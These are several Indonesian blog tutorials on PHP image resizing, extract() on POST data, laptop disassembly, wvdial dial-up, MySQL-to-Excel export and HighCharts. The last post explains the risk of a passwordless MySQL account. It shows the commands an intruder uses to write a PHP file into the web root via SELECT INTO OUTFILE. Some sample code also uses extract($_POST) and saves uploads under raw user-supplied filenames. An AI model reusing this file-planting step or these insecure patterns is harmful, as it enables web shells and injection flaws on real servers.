[Tips] Cara Merezise Gambar dengan SimpleImage PHP Script

PHP adalah sebuah bahasa pemrograman web sisi server. Sebagai bahasa pemrograman sisi server, maka PHP juga memiliki kemampuan melakukan olah data baik berupa data text dan data gambar. Kemampuan ini terutama digunakan ketika PHP mengerjakan Gallery gambar, atau sebuah profil produk dimana harus tersedia gambar berbagai ukuran Pixel dan Byte nya. Sebagai contoh kasus adalah sebuah toko online, memiliki kebutuhan sisi admin dimana operator harus mampu melakukan upload gambar dengan ukuran berapapun, selanjutnya akan diatur oleh PHP dengan dipecah menjadi beberapa. Antara lain adalah menjadi gambar thumbnail, gambar medium dan gambar besar. Bayangkan saja jika halaman depan sebuah profil produk menampilkan banyak gambar dan gambar tersebut masih berukuran besar 800kb – 1mb, tentu akan memakan waktu dan juga quota bandwidth bagi client.

SimpleImage ini bisa disalin di http://www.white-hat-web-design.co.uk/blog/resizing-images-with-php/ dan silakan dijadikan sebuah file dengan nama SimpleImage.php. Namun menurut saya, ada beberapa revisi dari script tersebut. Yaitu pada bagian yang melibatkan $this->getheight(), diubah menjadi $this->getHeight(). Sehingga script SimpleImage ini menjadi seperti ini


image_type = $image_info[2];
      if( $this->image_type == IMAGETYPE_JPEG ) {
 
         $this->image = imagecreatefromjpeg($filename);
      } elseif( $this->image_type == IMAGETYPE_GIF ) {
 
         $this->image = imagecreatefromgif($filename);
      } elseif( $this->image_type == IMAGETYPE_PNG ) {
 
         $this->image = imagecreatefrompng($filename);
      }
   }
   function save($filename, $image_type=IMAGETYPE_JPEG, $compression=75, $permissions=null) {
 
      if( $image_type == IMAGETYPE_JPEG ) {
         imagejpeg($this->image,$filename,$compression);
      } elseif( $image_type == IMAGETYPE_GIF ) {
 
         imagegif($this->image,$filename);
      } elseif( $image_type == IMAGETYPE_PNG ) {
 
         imagepng($this->image,$filename);
      }
      if( $permissions != null) {
 
         chmod($filename,$permissions);
      }
   }
   function output($image_type=IMAGETYPE_JPEG) {
 
      if( $image_type == IMAGETYPE_JPEG ) {
         imagejpeg($this->image);
      } elseif( $image_type == IMAGETYPE_GIF ) {
 
         imagegif($this->image);
      } elseif( $image_type == IMAGETYPE_PNG ) {
 
         imagepng($this->image);
      }
   }
   function getWidth() {
 
      return imagesx($this->image);
   }
   function getHeight() {
 
      return imagesy($this->image);
   }
   function resizeToHeight($height) {
 
      $ratio = $height / $this->getHeight();
      $width = $this->getWidth() * $ratio;
      $this->resize($width,$height);
   }
 
   function resizeToWidth($width) {
      $ratio = $width / $this->getWidth();
      $height = $this->getHeight() * $ratio;
      $this->resize($width,$height);
   }
 
   function scale($scale) {
      $width = $this->getWidth() * $scale/100;
      $height = $this->getHeight() * $scale/100;
      $this->resize($width,$height);
   }
 
   function resize($width,$height) {
      $new_image = imagecreatetruecolor($width, $height);
      imagecopyresampled($new_image, $this->image, 0, 0, 0, 0, $width, $height, $this->getWidth(), $this->getHeight());
      $this->image = $new_image;
   }      
 
}
?>

CARA MENGGUNAKAN.
Cara menggunakan script ini sangat mudah. Yaitu:

  1. Melakukan include SimpleImage.php
  2. Membuka sebuah object dari Class SimpleImage
  3. Meload gambar
  4. Mengolah gambar
  5. Menyimpan gambar dengan format baru

CONTOH: Misalkan kita akan membuat sebuah form upload gambar, dimana ketika diupload, maka gambar di server akan muncul dengan format ukuran 400×400 dan juga thumbnail 120×120. Dengan demikian script menjadi seperti demikian :


include "includes/SimpleImage.php";


if( isset( $_POST['upload'] ) ){
$file = $_FILES['upfile']['tmp_name'];

$image = new SimpleImage();

$image->load($file);

$image->resize(400,400);

$image->save("../images/product/".$_FILES['upfile']['name']);

$image->resize(120,120);

$image->save("../images/product/thumb/".$_FILES['upfile']['name']);		
}
?>


Gambar

PENJELASAN:
Ketika script dipanggil request, maka jika tidak terset input type upload alias karena belum ada POST, maka hanya akan ditampilkan form biasa. Selanjutnya jika telah diisi, dan diPOST, maka script akan terpanggil dengan kondisi terset POST. Selanjutnya akan di-include SimpleImage, menentukan variable file yang diupload, diload, diolah resize, dan disimpan pada tempat yang telah ditentukan pada save.

Berikut beberapa operasional yang disediakan oleh SimpleImage ini:

  1. Load
  2. Save
  3. Output
  4. GetWidth dan GetHeight
  5. Resize to Height dan resize to width
  6. Scale
  7. Resize

Dengan SimpleImage, selamat mencoba proses upload gambar dan melakukan operasional standard SimpleImage. Semoga bermanfaat. 🙂

[Contoh] Cara Cepat Mengubah Parameter method GET POST menjadi variable

Dalam pemrograman web, method GET POST tidak dapat dilepaskan dari proses pemrograman itu sendiri. Di samping itu ada juga pengambilan parameter $_SERVER[], $_SESSION, $_REQUEST, dan lain sebagainya. Biasanya kita akan mengubah isi parameter GET POST ini akan seperti contoh berikut

 


$satu = $_POST['satu'];
$dua  = $_POST['dua'];
$tiga = $_POST['tiga'];
$empat= $_POST['empat'];

Atau dalam bentuk GET misal terdapat URL seperti demikian :

http://namaserver.tld/req.php?nama=bimosaurus&kota=wonosobo&status=menikah&jumlahanak=1&hobi=blogging

Maka kita akan melakukan inisiasi variabel menjadi

$nama = $_GET['nama'];
$kota = $_GET['kota'];
$status = $_GET['status'];
$jumlahanak = $_GET['jumlahanak'];
$hobi = $_GET['hobi'];

Atau GET dan POST tersebut dapat juga diganti dengan $_REQUEST. $_REQUEST dapat memetakan secara cerdas. Namun perlu diingat adalah aspek keamanan. Misalnya hindari juga penggunaan REQUEST untuk Login HTTP yang diproses menggunakan POST. Karena bisa jadi orang akan mengacak dengan menggunakan method GET yang jelas lebih cepat prosesnya.

Inisiasi Variabel melalui GET dan POST seperti itu dapat dengan mudah kita lakukan. Namun bayangkan jika dalam sebuah form pendataan korban bencana alam, atau pendataan kesehatan dimana satu form dapat lebih dari 50 isian, tentu akan beresiko salah. Cara paling mudah melakukannya adalah dengan perintah fungsi php extract();

extract() adalah mengurai Array menjadi variabel sesuai dengan nama parameternya. Pada dasarnya $_SESSION, $_SERVER, $_POST, $_GET, $_REQUEST, adalah array, maka dapat diextract dengan mudah. Ingin membuktikan? Salah satu pembuatan array adalah dengan menggunakan $variabel[], memberikan tanda kurung siku di belakang variabel array. Cobalah dalam halaman anda tampilkan array yang ada dengan


print_r($_POST);
print_r($_GET);
//..dst

Misal : kita memiliki parameter POST

nama -> $_POST[‘nama’]
alamat -> $_POST[‘alamat’]
telepon -> $_POST[‘telepon’]

Maka, tinggal extract


extract( $_POST );

echo $nama;
echo "
"; echo $alamat; echo "
"; echo $telepon; echo "
";

Maka nama parameter POST seluruhnya akan berubah menjadi nama variabel sesuai dengan nama parameternya. Syarat penggunaannya adalah : pastikan dalam halaman itu tidak ada variabel yang sama. Selamat mencoba, semoga sukses dan bermanfaat

[Share] Bongkar Laptop Axioo Neon MNC 115

PERHATIAN : Diharap tidak mencoba membongkar jika tidak diperlukan dan tidak berani, karena sedikit beresiko. Di sini tidak ada jaminan bahwa pembongkaran akan sukses. Bagi yang siap, selamat mencoba. Bagi yang belum siap, boleh bongkar ditemani teman yang ahli. Jangan lupa, jangan sampai sisa sekrup

 

Membongkar hardware komputer/laptop memang menjadi satu kegiatan yang asyik dan sekaligus membuat harap-harap cemas. Terutama kalau hanya punya satu :). Maklum karena laptop biasanya menjadi alat utama bagi mata pencaharian orang-orang yang bergerak di bidang IT, perkantoran, atau orang yang bekerja secara mobile dan butuh presentasi mobile. Axioo adalah salah satu produk notebook/laptop yang cukup banyak dipakai di Indonesia karena Axioo adalah produk assembly di Indonesia yang cukup banyak menggunakan komponen lokal Indonesia. Disamping itu, harga yang cenderung lebih murah disertai dengan service center yang cukup banyak bisa menjadikan Axioo dipakai banyak rakyat Indonesia.

Axioo saya, hampir tiga tahun ini sudah beberapa kali memasuki masa bongkar, bahkan Hardisk telah mengalami kerusakan beberapa sektor dan mengakibatkan tidak dapat lagi diinstall Operating System Windows. Kebetulan sebelumnya, selama ini saya sudah menggunakan full linux tanpa dual boot dengan yang lain. Hasilnya adalah saya tidak pernah melakukan install ulang Linux. Dengan demikian saya pandang, Axioo dengan Linux adalah perpaduan murah dan tangguh. Namun beberapa saat ini saya mengalami masalah dengan bus USB Axioo saya, sehingga USB Port, Wifi, Sound, SDCard, WebCam mengalami masalah. Kadang tidak konek kadang juga mati hidup. Oleh karena itu saya coba bongkar notebook tersebut, dan kebetulan beberapa saya ambil gambar untuk dishare ke dalam blog.

Membongkar Laptop Axioo cukup mudah. Biasanya bagi yang pertama membongkar akan mengalami masalah dengan pembukaan case / casing / cangkang laptop. Pembukaan cangkang laptop dapat dimulai dengan melepas keyboard. Melepas keyboard dari badan Laptop tidak ada hubungannya dengan melepas tuts hurup. Namun cukup melakukan pembukaan kunci keyboard bagian atas yang tersembunyi, jumlahnya empat biji. Seperti gambar berikut:

IMG_0508

Tekanlah kuncinya, lakukan pada empat bagian kunci yang ada. Selanjutnya akan tampak seperti berikut:

IMG_0480

 

Hati-hati! Keyboard terhadap mainboard terdapat hubungan berupa kabel jajar seperti ini. Hati-hati membukanya. Selanjutnya bukalah lebih dulu kunci kabel tersebut seperti pada gambar ini :

SEBELUM DIBUKA KUNCINYA:

IMG_0502

 

SETELAH DIBUKA :

IMG_0500

 

Anda bisa membuka kuncinya dengan obeng, pelan pelan saja. Setelah terbuka, kabel akan mudah dilepas. Setelah lepas, anda bisa mulai membuka sekrup cangkang atas, kemudian membalikkan laptop anda dari bawah, dan buka semua sekrupnya. Setelah itu pisahkan cangkang atas dengan bawah. Hati-hati bahwa antara cangkang atas dengan Mainboard terdapat dua kabel jajar yang perlu dibuka seperti model kabel keyboard tadi. Berikut gambarnya :

IMG_0492
 

Lepaskan kunci kabel sebelum membuka cangkang. Secara perakitan Axioo sudah sangat mudah untuk melakukan pembongkaran. Sudah disediakan ruangan untuk membuka kabel tersebut. Setelah semua terbuka, angkatlah case DARI ATAS dengan posisi LCD terbuka terhadap cangkang, bukan dari bawah.

 

Berikut perlu hati – hati dalam membuka, karena kemungkinan ada beberapa kabel yang masih menempel:

IMG_0490

 

Seperti ini hasilnya :


IMG_0481
 

Cangkang atas setelah dipisahkan adalah :

IMG_0481

 

Setelah terbuka, bersihkanlah dengan kuas atau jika punya adalah mini vacuum cleaner khusus mainboard

IMG_0481

 

Salah satu bagian paling kotor adalah sudut

 

 

Modul Wifi, bersihkan dengan hati hati..

 

 

PASANG KEMBALI.

Memasang kembali case Axioo adalah sama dengan ketika membongkar. Hanya saja perlu diwaspadai ketika melakukan penguncian kabel-kabel kecil pada slotnya, dan juga pemasangan Microphone. Microphone akan perlu sedikit mengintip case dan perlu ditepatkan atur dengan bantuan obeng atau pinset:

Perhatikan benda dengan kabel hitam di tengah gabar, tepatkan pada lubang bagian atasnya.

 

MEMBONGKAR KEYBOARD.

Membongkar keyboard Axioo sangat mudah. Pembongkaran hanya perlu dilakukan jika ingin membersihkan bagian dalamnya. Untuk pengguna Linux, dapat dimulai dengan melakukan percobaan pengangkatan tombol WINDOWS. pada sebelah Fn Kiri bawah. Sehingga jika anda takut rusak, maka ya hanya tombol Windows itu yang rusak, toh tidak digunakan 🙂 . Caranya adalah Tinggal mengangkat ujung tuts, angkat sedikit paksa hati hati.. dan akan terlepas. Hal ini juga perlu perhatian dalam memasang kembali. Untuk pemasangan kembali perlu perhatian pada tuts-tuts tombol panjang seperti Enter, Spasi, Tab Shift  dan Capslock. Perlu perhatian karena mereka memiliki kawat penguat. Selanjutnya bisa dibersihkan bagian dalam keyboard dengan kuku atau kapas beralkohol. Jangan dengan benda logam keras, karena akan melukai permukaan landasan keyboard. Jangan juga dengan bensin karena dapat merusak landasan.

 

 

setelah bersih, silakan kembalikan, dan jangan lupa pemasangan Processor agar tidak terbalik, begitu juga dengan pemasangan kipas. Kipas sangat penting untuk menjaga suhu komputer. Oh ya, hitung kembali sisa sekrup. Harusnya sekrup tidak akan tersisa 🙂

 

[Internet] Koneksi Dial Up Linux dengan wvdial

Seorang teman yang masih menggunakan Windows menanyakan pada saya : kalau pakai Linux, terus koneksi internetnya bagaimana?

Sebenarnya di Linux banyak cara yang bisa dilakukan untuk melakukan dialup. Bisa menggunakan Network Manager bawaan Linux Desktopnya, dapat juga menggunakan metode kuno namun canggihnya tetap sepanjang masa, dua diantaranya adalah pppd dan wvdial. Wvdial ini justru paling sering saya gunakan ketika menggunakan Linux dan perlu koneksi internet dialup. Mengapa wvdial? Karena dengan wvdial, kita bisa melakukannya dengan Command Line alias bash-shell. Lho mengapa tidak menggunakan yang bukan command line, bukannya lebih mudah? Ya, pertama alasannya adalah kebutuhan networking memang lebih enak dari sisi remote server dalam format Command line. Kedua adalah , lebih enak dalam mode Command Line karena kita bisa mendapat keterangan / log lebih lengkap tentang keadaan yang terjadi. Jika tidak konek, kita juga bisa menelusur, mengapa tidak konek.

Untuk linux, hampir semua modem dapat didial dengan wvdial ini. Source Code dapat diambil di :

http://wvstreams.googlecode.com/files/wvstreams-4.6.1.tar.gz
http://wvstreams.googlecode.com/files/wvdial-1.61.tar.gz

Selanjutnya, lakukan installasi seperti demikian :

tar -xzvf wvstreams-4.6.1.tar.gz
tar -xzvf wvdial-1.61
cd wvstreams-4.6.1
./configure
make install

cd wvdial-1.61
./configure
make install

Kemudian, kita dapat mulai memasang modem USB. Ingat, sambil pasang, bukalah file /var/log/message dengan perintah tail -f untuk melihat USB modem terdeteksi sebagai port mana. Berikut log saya:

May 03 21:49:04 bimo-laptop kernel: [34405.706338] usb 3-4: new full speed USB device using ohci_hcd and address 19

May 03 21:49:04 bimo-laptop kernel: [34405.964181] usb 3-4: configuration #1 chosen from 1 choice

May 03 21:49:04 bimo-laptop kernel: [34405.965786] pl2303 3-4:1.0: pl2303 converter detected

 

Untuk kasus saya, tidak terdeteksi adanya USB yang telah teratach. Maka saya lakukan installasi paksa dengan mode modprobe. Sebelumnya akan dilakukan dulu listing usb yang ada:

lsusb

Perintah tersebut menghasilkan keluaran seperti berikut

bimo@bimo-laptop ~ $ lsusb
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 003 Device 004: ID 067b:2303 Prolific Technology, Inc. PL2303 Serial Port
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 007: ID 0bda:8189 Realtek Semiconductor Corp. RTL8187B Wireless 802.11g 54Mbps Network Adapter
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Bandingkan dengan /var/log/message maka terlihat adanya persamaan pl2303 (bisa berbeda tiap modem). Maka saya segera mencatat product ID dan vendor ID nya, dan melakukan perintah modprobe diikuti dengan pemasangan vendor = 0x(novendor) product = 0x(noproduct)

modprobe usbserial vendor=0x067b product=0x2303

Setiap penambahan / penginstallan hardware atau driver, maka kita bisa melihat keluarannya pada dmesg
dmesg|tail

bimo@bimo-laptop ~ $ dmesg|grep ttyUSB|more
[   22.996872] usb 3-2: pl2303 converter now attached to ttyUSB0

Maka modem terinstall sebagai /dev/ttyUSB0. Selanjutnya kita lihat baudrate yang berjalan di modem tersebut dengan perintah :

stty -F /dev/ttyUSB0

Misal keluarannya adalah 230400

 

Dalam kasus saya, saya gunakan telkom Flexi untuk koneksi internet saya. Maka kita gunakan konfigurasi file /etc/wvdial.conf seperti berikut :

[Dialer Defaults]
Modem = /dev/ttyUSB0
Phone = #777
PPPD Path = /usr/sbin/pppd
Username = username@free
Password = telkom
New PPPD = yes
Baud = 230400

 

Proses konfigurasi dan installasi selesai.

 

OPERASIONAL

Ketikkan saja perintah

sudo wvdial

 

maka akan muncul seperti ini

[sudo] password for bimo:
--> WvDial: Internet dialer version 1.60
--> Cannot get information for serial port.
--> Initializing modem.
--> Sending: ATZ
ATZ
OK
--> Modem initialized.
--> Sending: ATDT#777
--> Waiting for carrier.
ATDT#777
CONNECT
$DCON
$DCONTYPE:2,2
--> Carrier detected.  Waiting for prompt.
~[7f]}#@!}!} } }=}!}$}%\}"}&} } } } }#}%B#}%}%}&l:([0f]}'}"}(}">!~
--> PPP negotiation detected.
--> Starting pppd at  May 03 22:34:00 2012
--> Pid of pppd: 12000
--> Using interface ppp0
--> pppd: ���[08]���[08]
--> pppd: ���[08]���[08]
--> pppd: ���[08]���[08]
--> pppd: ���[08]���[08]
--> pppd: ���[08]���[08]
--> local  IP address 10.4.16.31
--> pppd: ���[08]���[08]
--> remote IP address 192.168.2.2
--> pppd: ���[08]���[08]
--> primary   DNS address 222.124.198.150
--> pppd: ���[08]���[08]
--> secondary DNS address 202.134.0.155
--> pppd: ���[08]���[08]

 

Tentu pada tail -f /var/log/messages juga akan muncul keluaran seperti ini :

May 02 22:34:00 bimo-laptop pppd[12000]: pppd 2.4.5 started by root, uid 0
May 02 22:34:00 bimo-laptop pppd[12000]: Using interface ppp0
May 02 22:34:00 bimo-laptop pppd[12000]: Connect: ppp0 <--> /dev/ttyUSB0
May 02 22:34:10 bimo-laptop pppd[12000]: CHAP authentication succeeded: Welcome to demoflexi.
May 02 22:34:10 bimo-laptop pppd[12000]: CHAP authentication succeeded
May 02 22:34:11 bimo-laptop pppd[12000]: local  IP address 10.4.16.31
May 02 22:34:11 bimo-laptop pppd[12000]: remote IP address 192.168.2.2
May 02 22:34:11 bimo-laptop pppd[12000]: primary   DNS address 222.124.198.150
May 02 22:34:11 bimo-laptop pppd[12000]: secondary DNS address 202.134.0.155

 

Jika telah mendapatkan DNS Servernya, silakan ping

ping -s 2 202.134.0.155

bimo@bimo-laptop ~ $ ping 202.134.0.155
PING 202.134.0.155 (202.134.0.155) 56(84) bytes of data.
64 bytes from 202.134.0.155: icmp_seq=1 ttl=61 time=367 ms
64 bytes from 202.134.0.155: icmp_seq=2 ttl=61 time=366 ms

 

Untuk kasus saya lancar saja. Untuk Fren lama masih dapat menggunakan modem ini, dengan konfigurasi yang mirip. Berikut diatas adalah contoh menggunakan modem CDMA Flexi jenis Venus. Berikut beberapa konfigurasi yang ada untuk beberapa jenis modem GSM dengan koneksi Telkomsel Flash

[Dialer Defaults]
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Init3 = AT+CGDCONT=1,"IP","telkomsel"
Init4 = ATM0
Username = `
Password = `
Phone = *99#
Modem Type = Analog Modem
Stupid Mode = 1
Baud = 9600
Dial Command = ATDT
Modem = /dev/ttyUSB0
ISDN = 0
FlowControl = crtscts

Untuk beberapa jenis modem dan kartu lain seperti Indosat M2, hampir sama dengan setting GSM diatas, hanya saja sangat tergantung dari kondisi modem dan konfigurasi authentikasi dari kartunya.

Tips lainnya, untuk dapat konek dengan wvdial dengan command line tidak harus terbuka setelah konek adalah dengan memberi perintah tambahan ketika perintah wvdial dijalankan

nohup sudo wvdial &

 

Selamat mencoba, semoga sukses

[Contoh] Cara Mengexport Data SQL ke File Excel 2007 ( xlsx ) dari MySQL dengan PHP

Berdasarkan komentar saudara Dahlan di https://blogit.bimosaurus.com/2012/04/09/contoh-3-membuat-laporan-export-data-dari-mysql-ke-excel-terencoding-dengan-php-no-pear, maka saya coba paparkan tentang melakukan export konversi data dari SQL ke Excel 2007 dengan menggunakan PHP. Sehingga data yang berasal dari SQL dapat di download ke dalam bentuk Excel 2007

STRUKTUR XLSX / Excel 2007

Jika kita periksa sebuah file excel 2007 adalah sebuah file berformat kompresi zip. Jika anda rename, mengganti extensi file xlsx dengan zip, dan anda extract ke suatu tempat, maka file tersebut akan berisi beberapa direktori dan file berformat xml. Ya, Microsoft Office 2007 memang merancang format Office menjadi format yang mudah dikembangkan terutama untuk mendukung DotNet dan networking.

Lantas, apakah kita akan gunakan koding PHP bertele-tele untuk membuat aplikasi untuk memodifikasi XML tersebut? Untuk hal itu, kita tidak perlu koding sendiri, hanya perlu belajar dan menggunakan sebuah fungsi dari http://www.phpexcel.net/ atau http://phpexcel.codeplex.com/. Silakan download paket aplikasi fungsi PHP-Excel tersebut, dan extract dalam direktori DocumentRoot yang anda gunakan. Kira-kira struktur data akan berformat seperti demikian :

1.7.6/changelog.txt

1.7.6/Classes/

1.7.6/Documentation/

1.7.6/install.txt

1.7.6/license.txt

1.7.6/Tests/

Kita hanya membutuhkan sesuatu di dalam directori Classes. Untuk kasus yang saya pakai, saya melakukan pengkopian direktori Classes ke aplikasi web yang saya butuhkan menjadi

{direktori_aplikasi}libs/phpexcel/

 

BAGAIMANA MENGEKSPOR DATA KE DALAM XLSX?

Berikut satu script aplikasi PHP untuk melakukan Export ke dalam XLSX

 


getProperties()->setCreator("Bimosaurus");
$excel->getProperties()->setLastModifiedBy("Bimosaurus");
$excel->getProperties()->setTitle("Coba");
$excel->removeSheetByIndex(0);


$sheet = $excel->createSheet();
$sheet->setTitle('sheet_1');
 $sheet->setCellValue("A1", "Kolom Satu");
 $sheet->setCellValue("B1", "Kolom Dua");
 $sheet->setCellValue("C1", "Kolom Tiga");
 $sheet->setCellValue("D1", "Kolom Empat");
 $sheet->setCellValue("E1", "Kolom Lima");
 $sheet->setCellValue("F1", "Kolom Enam");

 $sheet->setCellValue("A2", "Isi Satu");
 $sheet->setCellValue("B2", "Isi Dua");  
 $sheet->setCellValue("C2", "Isi Tiga");
 $sheet->setCellValue("D2", "Isi Empat"); 
 $sheet->setCellValue("E2", "Isi Lima"); 
 $sheet->setCellValue("F2", "Isi Enam");
 
 $writer = new PHPExcel_Writer_Excel2007($excel);
 $writer->save("excel.xlsx");
 
 
?>
Your File in : Here

Cobalah anda lakukan dalam percobaan anda. Nah, sekarang bagaimana apabila kita akan melakukan pengambilan data dari MySQL Server dengan PHP dan direstore ke dalam XLSX?

Berikut satu contoh programnya di bawah ini. Saya masih menggunakan table lama saya yaitu tabel pegawai dari database kepegawaian.

nip nama honor status_ambil
10001 Susanto Rp. 1000000 Belum
10002 Susanti Rp. 1000000 Sudah
10003 Marwoto Rp. 2000000 Sudah
10004 Gunadi Rp. 1500000 Belum
10005 Nur Eko Rp. 1000000 Belum

getProperties()->setCreator("Bimosaurus");
$excel->getProperties()->setLastModifiedBy("Bimosaurus");
$excel->getProperties()->setTitle("Data Pegawai PT Anu");
$excel->removeSheetByIndex(0);


$sheet = $excel->createSheet();
$sheet->setTitle('sheet_1');
 $sheet->setCellValue("A1", "NIP");
 $sheet->setCellValue("B1", "Nama");
 $sheet->setCellValue("C1", "Honor");
 $sheet->setCellValue("D1", "Status Ambil");


$sql = "SELECT * FROM `pegawai`";
$q = mysql_query( $sql );
$i = 2; //Dimulai dengan baris ke dua, baris pertama digunakan oleh titel kolom
while( $r = mysql_fetch_array( $q ) ){
   $sheet->setCellValue( "A" . $i, $r['nip'] );
   $sheet->setCellValue( "B" . $i, $r['nama'] );
   $sheet->setCellValue( "C" . $i, $r['honor'] );
   $sheet->setCellValue( "D" . $i, $r['status_ambil'] );
   $i++;
}


 $writer = new PHPExcel_Writer_Excel2007($excel);
 $writer->save("$datetime.xlsx");
 
 
?>
Your File in : Here

Nah bandingkan juga penulisan format export ke kolom excel, dengan artikel lalu https://blogit.bimosaurus.com/2012/04/09/contoh-3-membuat-laporan-export-data-dari-mysql-ke-excel-terencoding-dengan-php-no-pear. Pastikan juga bahwa direktori tujuan Export file tersebut, writeable untuk Webserver anda.

Selamat mencoba, silakan melakukan respon jika perlu direspon. Saya siapkan juga satu artikel untuk pembacaan file excel 2007 untuk diupload ke dalam webserver dan akan terkonversi menjadi SQL database. Segera.

[Contoh] Cara Membuat Grafik Multi Line / Banyak Garis dengan PHP, MySQL, dan JQuery HighChart

Berikut dalam posting ini akan dipaparkan contoh pembuatan grafik Multiline dengan Highchart. Saya juga menyiapkan dua artikel untuk keperluan Grafik dengan JQPLot dan JPGraph untuk kasus yang sama. Dalam contoh ini digunakan contoh dengan dua tabel, dimana satu tabel adalah tabel negara, dan tabel lainnya adalah tabel angka_kelahiran. Kira-kira SQL nya adalah seperti berikut:

Tabel negara

CREATE TABLE `negara` (
  `id` int(23) NOT NULL AUTO_INCREMENT,
  `negara` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;

/*Data for the table `negara` */

insert  into `negara`(`id`,`negara`) values (1,'Indonesia'),(2,'Singapura'),(3,'Malaysia'),(4,'Jepang');

 

Tabel angka_kelahiran

CREATE TABLE `angka_kelahiran` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `negaraId` int(3) DEFAULT NULL,
  `bulan` varchar(10) DEFAULT NULL,
  `kelahiran` int(23) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=49 DEFAULT CHARSET=latin1;

/*Data for the table `angka_kelahiran` */

insert  into `angka_kelahiran`(`id`,`negaraId`,`bulan`,`kelahiran`) values (1,1,'Jan',100),(2,1,'Feb',120),(3,1,'Mar',130),(4,1,'Apr',110),(5,1,'Mei',90),(6,1,'Jun',100),(7,1,'Jul',95),(8,1,'Agt',115),(9,1,'Sep',98),(10,1,'Okt',120),(11,1,'Nov',110),(12,1,'Des',151),(13,2,'Jan',110),(14,2,'Feb',100),(15,2,'Mar',111),(16,2,'Apr',80),(17,2,'Mei',90),(18,2,'Jun',87),(19,2,'Jul',89),(20,2,'Agt',87),(21,2,'Sep',77),(22,2,'Okt',78),(23,2,'Nov',89),(24,2,'Des',90),(25,3,'Jan',67),(26,3,'Feb',65),(27,3,'Mar',68),(28,3,'Apr',98),(29,3,'Mei',76),(30,3,'Jun',89),(31,3,'Jul',66),(32,3,'Agt',54),(33,3,'Sep',43),(34,3,'Okt',78),(35,3,'Nov',98),(36,3,'Des',123),(37,4,'Jan',65),(38,4,'Feb',65),(39,4,'Mar',65),(40,4,'Apr',65),(41,4,'Mei',65),(42,4,'Jun',69),(43,4,'Jul',98),(44,4,'Agt',90),(45,4,'Sep',87),(46,4,'Okt',77),(47,4,'Nov',89),(48,4,'Des',100);

Kemudian secara visual, tabelnya adalah seperti ini :

Tabel Negara:

id negara
1 Indonesia
2 Singapura
3 Malaysia
4 Jepang

Tabel Angka Kelahiran (sebagian)

id negaraId bulan kelahiran
1 1 Jan 100
2 1 Feb 120
3 1 Mar 130
4 1 Apr 110

 

Jika server yang anda gunakan terhubung dengan koneksi internet, saya sarankan untuk mengambil include script jquery dan highcart secara online saja, hal ini akan menghemat space disk anda, terutama jika anda menggunakan hosting. Disamping itu akan lebih menghemat bandwidth quota. Namun jika server web yang anda offline, maka asumsi saya adalah menggunakan hardisk, sehingga tidak begitu memberatkan space dan quota, maka gunakan saja file jquery secara offline.

Untuk server online, maka gunakan script ini pada include script anda:


.
.
.


 

 

Untuk server offline, maka gunakan ini, atau sesuaikan dengan lokasi yang anda gunakan


.
.
.


 

Untuk kasus pembuatan grafik angka kelahiran, saya melakukan query untuk mendapatkan array kota terlebih dahulu. Script lengkap pembuatan grafiknya adalah sebagai berikut:





	
		
		Angka Kelahiran Tiap Negara

		
		
	

	



Nah kira-kira hasil dari perbuatan script anda adalah seperti berikut :

Nah, selamat mencoba, semoga berguna, dan sampaikan terimakasih pada developer Highcart yang telah membuat tools yang mempermudah bagi para developer ini. 🙂

Anda perlu bantuan membuat tabel, dapat berkonsultasi dengan team kami secara gratis. Selama dapat dibantu diselesaikan, akan dibantu..

[Hacking] Database kosong tak Berpassword, berbahayakah?

Saya mendapatkan pertanyaan demikian : “Bung, apakah jika saya menginstall xampp windows dan ada satu database kosong yang tidak digunakan yang usernya tidak saya beri password, apakah berbahaya? Saya ingin memberi password, namun karena sekedar testing, ngapain diberi password.Setelah pagi, saya lihat kok ada file aneh bahasanya kayak bahasa bahasa hacker gitu, apakah mungkin dari database kosong itu?

 

BEBERAPA PENJELASAN.

Dalam artikel lalu https://blogit.bimosaurus.com/2012/04/23/operasional-file-melalui-perintah-sql-sql-command-for-file-operation, telah ditunjukkan bagaimana sebuah perintah SQL dapat melakukan pembuatan file, begitu juga pembacaan file yang dimasukkan ke dalam database.

PhpMyAdmin adalah hanya salah satu tools pengolahan database berbasis web dalam MySQL Server. PhpMyAdmin adalah salah satu tools yang selalu ada dalam paket XAMPP. Untuk Windows, PhpMyAdmin ini akan mengikuti konfigurasi default, yaitu tanpa password untuk user root. Sementara user root adalah user dengan hak tertinggi pada pengolahan database MySQL.Khusus untuk root MySQL, root ini memiliki kemampuan mengolah database yang bernama database mysql yang mengatur segala struktur database dan konfigurasi database. Namun memang pengaturan database mysql ini, hanya bisa dilakukan oleh root dari localhost. Namun dengan adanya PhpMyAdmin, maka syarat ini menjadi hilang, karena administrator data/pengakses akan dapat melakukan pengaturan dari sisi web, sedangkan web/php akan melakukan olah data dari localhost. Untuk kemudahan itu, maka sebanding dengan resiko yang ada. Yaitu resiko keamanan.

Apakah jika database kosong dengan user bebas dan tanpa password bebas juga akan dapat berpotensi tidak aman? Jawabnya adalah : YA.

Berikut adalah contoh operasional database yang biasa dilakukan para hacker. Andaikan saya memiliki sebuah database kosong dengan nama : database_kosong, dan dapat diakses oleh user : bebas, tanpa password. Perhatikan langkah-langkah yang ada, dan cobalah anda konversikan penerapannya di PhpMyAdmin anda.

 

 


mysql> use kosong;
Database changed
mysql> show tables;
Empty set (0.00 sec)

mysql> CREATE TABLE `kosong` (`Id` int(23) NOT NULL AUTO_INCREMENT,`Content` text,PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=26 DEFAULT CHARSET=latin1;
Query OK, 0 rows affected (0.02 sec)

mysql> show tables;
+------------------+
| Tables_in_kosong |
+------------------+
| kosong           | 
+------------------+
1 row in set (0.01 sec)

mysql> select * from kosong;
Empty set (0.00 sec)

mysql> insert into `kosong` (`Content`) values ('');
Query OK, 1 row affected (0.00 sec)

mysql> select `Content` from `kosong` where Id='1' into outfile 'C:/xampp/htdocs/phpinfo2.php';

